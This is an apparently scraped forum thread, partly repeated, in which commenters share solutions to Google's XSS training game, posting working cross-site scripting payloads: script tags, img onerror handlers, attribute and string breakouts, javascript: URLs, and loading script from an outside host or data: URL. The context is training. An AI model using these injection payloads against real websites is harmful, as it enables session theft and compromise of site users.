5 ms·

Solutions: http://pastebin.com/hv0h73eC http://pastebin.com/hv0h73eC I'm posting because I find that whenever I can't solve some security puzzle, it usually me

Solutions: http://pastebin.com/hv0h73eC http://pastebin.com/hv0h73eC I'm posting because I find that whenever I can't solve some security puzzle, it usually means I didn't foresee an attack and I've been writing insecure code :( So hopefully people who get stumped can take a look at the solutions and determine if that's the case for them. It'd be cool if someone wrote up explanations for each of these w/ links to relevant portions of Google's documentation.

fastest963 10y ago
For the last one, instead of actually uploading a file, you can just put data:text/javascript,alert('test') after the hash.
- chadscira 10y ago
  I did data:text/javascript;base64,YWxlcnQoMSk= I didn't know you could do stuff like this (not for XSS) data:text/html,<script>alert(window.location)</script> Cool, you can store a whole website in a URL now.
  - joshstrange 10y ago
    > Cool, you can store a whole website in a URL now. As long as it's shorter than ~2000 characters [0] [0] http://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers http://stackoverflow.com/questions/417142/what-is-the-maximu...
    - chadscira 10y ago
      Seems like in chrome you can go much higher! Here is a example of 5M data:text/html,<script>window.location='data:text/html,<script>document.documentElement.innerHTML=window.location.protocol+\':\'+String(window.location).length;</'+'script>';</script> I tried 110Mb and it actually worked as well! I'm not sure about the real limit. You can store MASSIVE amounts of data in these things. It also seems to eventually break the url display and reverts to about:blank. It still retains protocol integrity though.
- 9point6 10y ago
  Ah I didn't know you could have it without the base64 encoding. I did basically the same: data:text/javascript;base64,YWxlcnQoInRlc3QiKQ==
  - et-al 10y ago
    These are awesome, thanks.
- wybiral 10y ago
  Good idea. I solved that one by using a "protocol relative url" (omitting the http[s] part).
- pault 10y ago
  This is why you should never embed user created SVGs in your site.
  - nsgi 10y ago
    What if they're in an img tag?
bungie4 10y ago
For level 2, onerror="javascript:alert(0)" a whole lot simpler than your pasted answer.
- flanbiscuit 10y ago
  that didn't work for me. this did: <img onload="javascript:alert(0);" src="http://i.imgur.com/fXYSkbC.gif"> http://i.imgur.com/fXYSkbC.gif"> img tags support the onload attribute and is a typical element people use in posts
  - 9point6 10y ago
    weird, onerror worked fine for me <img src="404me" onerror="alert('test')" />
  - cfontes 10y ago
    You used onload, the suggested was onerror, Maybe it doesn't work because the page is already loaded so the onload is never run.
seanwilson 10y ago
Instead of "onclick" for the <img> tags, you can bypass the required user interaction and be more brutal using "onerror" e.g. <img onerror="alert('hacked')" url="broken_url">.
randyrand 10y ago
I know you posted on pastbin with 'never' for a reason. But incase they ever shut down, here is the text: # lvl 1 Enter `<script>alert('')</script>` into the search box. # lvl 2 Use the `onclick` attribute of the font tag (hint is from the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message: <font color="red" onclick="alert('')">blah</font> and then click blah after posting the message. (or use onload etc.) # lvl 3 Modify the URL parameter so that you inject code into the `<img>` tag: https://xss-game.appspot.com/level3/frame#1.jpg' onclick="alert('')" alt='a picture called 1 which will render as: html += "<img src='/static/level3/cloud/1.jpg' onclick="alert('')" alt='a picture called 1.jpg'/>"; on line 17 of the HTML file. Now click on the picture. # lvl 4 Use `3'); alert('` as the value for your timer. # lvl 5 Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use this as the location that the user is sent to on the signup page. Go the the URL: https://xss-game.appspot.com/level5/frame/signup? next=javascript:alert('') and then click the `Next` link. # lvl 6 The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js: alert(''); and then go the the url `https://xss- game.appspot.com/level6/frame#Http://mysite.com/xss.js` # Notes In an actual attack you'd use onerror or onload everywhere instead of onclick.
- deleted 10y ago
  [deleted]
- collinmanderson 10y ago
  Some alternatives: #1 <script>alert()</script> (no need for an empty string) #4 '+alert()+' #6 you can also use a protocol-relative url //google.com/jsapi?callback=alert
- n_ 10y ago
  On level 3: https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script> will execute on load rather than after user input.
  - 10y ago
solidr53 10y ago
I just used the industry standard protocol format in the level 6: `#//xxx.ngrok.io/foo.js`. I thought it was hilarious that they didn't filter that out.

fastest963 10y ago

For the last one, instead of actually uploading a file, you can just put data:text/javascript,alert('test') after the hash.

chadscira 10y ago
I did data:text/javascript;base64,YWxlcnQoMSk= I didn't know you could do stuff like this (not for XSS) data:text/html,<script>alert(window.location)</script> Cool, you can store a whole website in a URL now.
- joshstrange 10y ago
  > Cool, you can store a whole website in a URL now. As long as it's shorter than ~2000 characters [0] [0] http://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers http://stackoverflow.com/questions/417142/what-is-the-maximu...
  - chadscira 10y ago
    Seems like in chrome you can go much higher! Here is a example of 5M data:text/html,<script>window.location='data:text/html,<script>document.documentElement.innerHTML=window.location.protocol+\':\'+String(window.location).length;</'+'script>';</script> I tried 110Mb and it actually worked as well! I'm not sure about the real limit. You can store MASSIVE amounts of data in these things. It also seems to eventually break the url display and reverts to about:blank. It still retains protocol integrity though.
9point6 10y ago
Ah I didn't know you could have it without the base64 encoding. I did basically the same: data:text/javascript;base64,YWxlcnQoInRlc3QiKQ==
- et-al 10y ago
  These are awesome, thanks.
wybiral 10y ago
Good idea. I solved that one by using a "protocol relative url" (omitting the http[s] part).
pault 10y ago
This is why you should never embed user created SVGs in your site.
- nsgi 10y ago
  What if they're in an img tag?

bungie4 10y ago

For level 2, onerror="javascript:alert(0)" a whole lot simpler than your pasted answer.

flanbiscuit 10y ago
that didn't work for me. this did: <img onload="javascript:alert(0);" src="http://i.imgur.com/fXYSkbC.gif"> http://i.imgur.com/fXYSkbC.gif"> img tags support the onload attribute and is a typical element people use in posts
- 9point6 10y ago
  weird, onerror worked fine for me <img src="404me" onerror="alert('test')" />
- cfontes 10y ago
  You used onload, the suggested was onerror, Maybe it doesn't work because the page is already loaded so the onload is never run.

seanwilson 10y ago

Instead of "onclick" for the <img> tags, you can bypass the required user interaction and be more brutal using "onerror" e.g. <img onerror="alert('hacked')" url="broken_url">.

randyrand 10y ago

I know you posted on pastbin with 'never' for a reason. But incase they ever shut down, here is the text: # lvl 1 Enter `<script>alert('')</script>` into the search box. # lvl 2 Use the `onclick` attribute of the font tag (hint is from the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message: <font color="red" onclick="alert('')">blah</font> and then click blah after posting the message. (or use onload etc.) # lvl 3 Modify the URL parameter so that you inject code into the `<img>` tag: https://xss-game.appspot.com/level3/frame#1.jpg' onclick="alert('')" alt='a picture called 1 which will render as: html += "<img src='/static/level3/cloud/1.jpg' onclick="alert('')" alt='a picture called 1.jpg'/>"; on line 17 of the HTML file. Now click on the picture. # lvl 4 Use `3'); alert('` as the value for your timer. # lvl 5 Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use this as the location that the user is sent to on the signup page. Go the the URL: https://xss-game.appspot.com/level5/frame/signup? next=javascript:alert('') and then click the `Next` link. # lvl 6 The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js: alert(''); and then go the the url `https://xss- game.appspot.com/level6/frame#Http://mysite.com/xss.js` # Notes In an actual attack you'd use onerror or onload everywhere instead of onclick.

deleted 10y ago
[deleted]
collinmanderson 10y ago
Some alternatives: #1 <script>alert()</script> (no need for an empty string) #4 '+alert()+' #6 you can also use a protocol-relative url //google.com/jsapi?callback=alert
n_ 10y ago
On level 3: https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script> will execute on load rather than after user input.
- 10y ago

solidr53 10y ago

I just used the industry standard protocol format in the level 6: `#//xxx.ngrok.io/foo.js`. I thought it was hilarious that they didn't filter that out.